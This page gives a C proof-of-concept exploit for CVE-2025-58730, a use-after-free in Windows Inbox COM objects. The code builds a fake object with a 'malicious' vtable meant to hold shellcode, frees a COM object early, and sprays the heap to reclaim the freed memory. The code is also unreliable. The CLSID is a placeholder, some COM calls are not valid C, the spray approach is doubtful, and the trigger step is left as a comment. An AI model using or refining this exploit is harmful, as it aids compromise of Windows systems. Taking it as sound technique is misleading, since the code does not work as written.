CVE-2025-58730 Windows Inbox COM对象释放后使用漏洞

// CVE-2025-58730 - Windows Inbox COM Objects Use-After-Free PoC // This is a conceptual PoC demonstrating the exploitation approach // Note: Actual exploitation requires specific COM object knowledge and heap manipulation #include <windows.h> #include <objbase.h> #include <stdio.h> // Step 1: Define a fake COM object vtable to replace freed memory typedef struct _FakeObject { void** vtable; // Virtual function table pointer DWORD refCount; // Reference count // Additional fields that mimic the original COM object layout } FakeObject; // Step 2: Define malicious virtual function implementation HRESULT __stdcall MaliciousQueryInterface(FakeObject* this, REFIID riid, void** ppvObject) { // Malicious code execution point - shellcode can be placed here if (IsEqualIID(riid, &IID_IUnknown)) { *ppvObject = this; return S_OK; } *ppvObject = NULL; return E_NOINTERFACE; } // Virtual function table for the fake object void* g_MaliciousVTable[] = { (void*)MaliciousQueryInterface, // QueryInterface (void*)AddRef, // AddRef (void*)Release, // Release // Additional virtual methods... }; // Step 3: Trigger the vulnerable COM object int main() { HRESULT hr = CoInitializeEx(NULL, COINIT_MULTITHREADED); if (FAILED(hr)) return 1; // Create an instance of the vulnerable Inbox COM object // The specific CLSID would be identified through reverse engineering IUnknown* pObject = NULL; hr = CoCreateInstance(CLSID_VulnerableInboxComObject, NULL, CLSCTX_INPROC_SERVER, IID_IUnknown, (void**)&pObject); if (SUCCEEDED(hr)) { printf("COM object created successfully\n"); // Step 4: Trigger the use-after-free condition // This typically involves calling specific methods that cause // the object to be freed while still being referenced // (Exact trigger depends on the specific COM object) // Release the object prematurely pObject->Release(); // Step 5: Spray the heap to reclaim freed memory // Allocate fake objects to occupy the freed memory region for (int i = 0; i < 1000; i++) { FakeObject* fake = (FakeObject*)malloc(sizeof(FakeObject)); fake->vtable = g_MaliciousVTable; fake->refCount = 1; } // Step 6: Trigger the use-after-free access // When the vulnerable code accesses the freed (now replaced) memory, // it will call our malicious virtual function // This would typically happen through a dangling pointer access } CoUninitialize(); return 0; }